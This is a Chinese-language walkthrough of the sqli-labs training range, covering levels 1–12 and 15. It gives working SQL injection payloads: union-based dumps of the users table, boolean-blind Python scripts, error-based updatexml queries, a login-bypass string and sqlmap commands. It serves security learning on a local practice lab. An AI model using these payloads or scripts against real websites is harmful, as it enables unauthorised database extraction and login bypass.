环境搭建
需要phpstudy以及sqli-labs源码。把sqli-labs源码放好后,启动phpstudy的Apache和Mysql,如果无法启动mysql,考虑关闭mysql/删除本地mysql
。
更换phpstudy数据库密码,并修改sqli-labs数据库连接文件;
********\phpstudy_pro\WWW\range\sqli-labs\sql-connections\db-creds.inc
如果嫌路径麻烦可以考虑创建网站,建议创建网站,因为需要设置php的版本为5.7否则sqlilabs的数据库连接代码会报错,但其他靶场可能需要7以上的php版本,所以最好创建网站以隔离:
这样就可以用域名和端口号访问,这里会直接走本地DNS解析,所以只是方便自己使用而已。
进入页面点击Setup/reset Database for labs重置数据库,只要没报错,一切准备工作就完成了。
Less 1
首先传id,?id=1
,?id=2
…会返回id的用户名和密码;测试发现没有过滤任何字符,所以直接union注入。
查列数:http://sqli-labs.com:8080/Less-1/?id=1' order by 4%23
报错,order by 3 不报错,说明查询的数据有三个字段。
检查内容展示位置: http://sqli-labs.com:8080/Less-1/?id=-1' union select 1,2,3%23
展示Your Login name:2
Your Password:3
说明2和3位置会直接展示。
查数据库:http://sqli-labs.com:8080/Less-1/?id=-1' union select 1,database(),3%23
Your Login name:security
数据库名为security
查表:http://sqli-labs.com:8080/Less-1/?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'%23
Your Login name:emails,referers,uagents,users
获得所有表名,我们只看users
查列:http://sqli-labs.com:8080/Less-1/?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'%23
Your Login name:USER,CURRENT_CONNECTIONS,TOTAL_CONNECTIONS,id,username,password
Your Password:3
有效列名为id,username,password
查数据:http://sqli-labs.com:8080/Less-1/?id=-1' union select 1,group_concat(id,'~',username,'~',password),3 from users%23
Your Login name:1~Dumb~Dumb,2~Angelina~I-kill-you,3~Dummy~p@ssword,4~secure~crappy,5~stupid~stupidity,
获取到所有用户信息
Less 2
相比Less1,只是id少了个引号
http://sqli-labs.com:8080/Less-2/?id=-3 union select 1,group_concat(id,'-',username,'-',password),3 from users%23
Less 3
测试中从报错可以发现,sql语句中,id加了引号和括号;
http://sqli-labs.com:8080/Less-3/?id=-1') union select 1,group_concat(id,'-',username,'-',password),3 from users%23
Less 4
测试发现,sql语句中id加了双引号和括号;
其中发现双引号和单引号一起用会短路掉后面的内容并正常执行;
比如select * from persons where Id_P="1' order by 4#";
代码会直接执行select * from persons where Id_P="1'
。
http://sqli-labs.com:8080/Less-4/?id=-2") union select 1,group_concat(id,'-',username,'-',password),3 from users%23
Less 5
这里开始和前四关不同,如果sql执行有数据则显示“you are in …" 如果sql执行没有数据则不显示。
因为没有回显,无法用联合查询,但因为True和False展示的内容不同,所以可以推测是布尔盲注。
首先测试出大概结构:http://sqli-labs.com:8080/Less-5/?id=5' and length(database())>8--+
不断尝试发现database的长度是8,且id用单引号包裹。
用Burp suite逐位获取database名称;
http://sqli-labs.com:8080/Less-5/?id=5' and substr(database(),1,1)="s"--+
将爆破位置置于s处,然后列表为a-z;
发现database首位为s,以此逐位攻击,可以知道database为security。
继续查表名
/Less-5/?id=5%27%20and%20substr((select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=%27security%27),1,1)=%22§s§%22--+
以此可以按顺序获取所有信息。
也可以直接sqlmap;
sqlmap -u "http://sqli-labs.com:8080/Less-5/?id=1" --current-db
Less 6
同Less5 ,只是包裹id的引号是双引号。
写个布尔盲注的脚本
import requests
url = "http://sqli-labs.com:8080/Less-6/?id=2%22 and substr(database(),{},1)='{}'%23"
database = ""
for i in range(1,9):
for ch in "qwertyuioplkjhgfdsazxcvbnm0987654321-~":
r = requests.get(url.format(i,ch))
if "You are in" in r.text:
database += ch
print(database)
break
url = "http://sqli-labs.com:8080/Less-6/?id=2%22 and substr((select group_concat(table_name) from information_schema.tables where table_schema='"+database+"'),{},1)='{}'%23"
tables = ""
for i in range(1,50):
for ch in "qwertyuioplkjhgfdsazxcvbnm0987654321-~,":
r = requests.get(url.format(i,ch))
if "You are in" in r.text:
tables += ch
print(tables)
break
Less 7
和第六题思路一样,但是id套了一个引号俩括号,感觉就是想让我们测试出sql结构,测试出来就和第六题一模一样了;
同样可以用sqlmap,太强了。
sqlmap -u "http://sqli-labs.com:8080/Less-7/?id=1" -D security --tables --batch
–batch是默认yes
Less 8
同Less 6,id只被一个单引号包裹
Less 9
同样是布尔盲注,同时测试发现?id=1
, ?id=-1
页面展示的内容一模一样,一开始以为不能布尔盲注,需要用到时间盲注,但sqlmap提示可以布尔盲注,所以用BurpSuite抓取了两个数据包进行对比。
发现还真有细微差别,可以进行布尔盲注。
Less 10
同Less 9
但是sqlmap发现不能直接测出来,需要加上–level 3加高等级才能测出来;查看源码发现Less 10 添加了一句:
$id = '"'.$id.'"';
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
感觉好像和Less 9 直接$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
没啥区别啊。
Less 11
测试发现会在下方显示用户名和密码;
而加上limit就可以穷举出users表的所有内容;
继续测试发现下方会直接将报错展示;
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '2' LIMIT 0,1' at line 1
所以考虑报错注入:
常用的报错注入:
select count(*) from information_schema.tables group by concat((select version()),floor(rand(0) * 2))
extractvalue(1.concat(0x7e,(select user()),0x7e))
select updatexml(1,concat(0x7e,(select user()),0x7e),1)
测试发现floor()和extractvalue()好像没效果,所以就用updatexml
1' and (select updatexml(1,concat(0x7e,(select user()),0x7e),1))#
注入成功!
查库:
1' and (select updatexml(1,concat(0x7e,(select database()),0x7e),1))#
查表:
1' and (select updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1))#
查列名:
1' and (select updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'),0x7e),1))#
这里发现会有很多字段,并且因为结果是截断的,我们没法获取表的字段,推测应该是其他数据库也有users表,所以加一个条件;
1' and (select updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='security'),0x7e),1))#
查数据:
1' and (select updatexml(1,concat(0x7e,(select group_concat(id,username,password) from users),0x7e),1))#
输出内容有长度截断,所以可以用substr截取获得所有数据。
Less 12
测试发现id被双引号和括号包裹,然后和11一样报错注入;
1") and (select updatexml(1,concat(0x7e,(select group_concat(id,username,password) from users),0x7e),1))#
Less 15
测试发现 1' or 1=1#
可以直接绕过显示登陆成功;所以uname字段只有一个单引号包裹;
但是因为页面没有回显,只能用盲注,这里用布尔盲注;
编写脚本,获取数据库名:
import requests
url = "http://sqli-labs.com:8091/Less-15/"
dbname = "1' or ascii(substr(database(),{},1))='{}'#"
table_name = "1' or ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema='security'),{},1))='{}'#"
data = {
"uname": "1' or ascii(substr(database(),{},1))={}#",
"passwd": "2",
"submit": "Submit"
}
flag = ""
for i in range(1,30):
for ch in range(32,127):
# data["uname"] = dbname.format(i,ch)
data["uname"] = table_name.format(i,ch)
r = requests.post(url,data=data)
if "flag" in r.text:
flag += chr(ch)
print(flag)
break
注释的为获取数据库名的代码,当前代码可获取所有表名;
output:
......
emails,referers,uagents
emails,referers,uagents,
emails,referers,uagents,u
emails,referers,uagents,us
emails,referers,uagents,use
emails,referers,uagents,user
emails,referers,uagents,users
以此获取所有数据。
Sqlmap:
将抓包的请求数据包存到本地文件中;
python "****\sqlmap-1.5\sqlmap.py" -r "****\sqlmap-1.5\requestHeader.txt" -p uname --batch --dbs
-r 表示加载文件,-p指定参数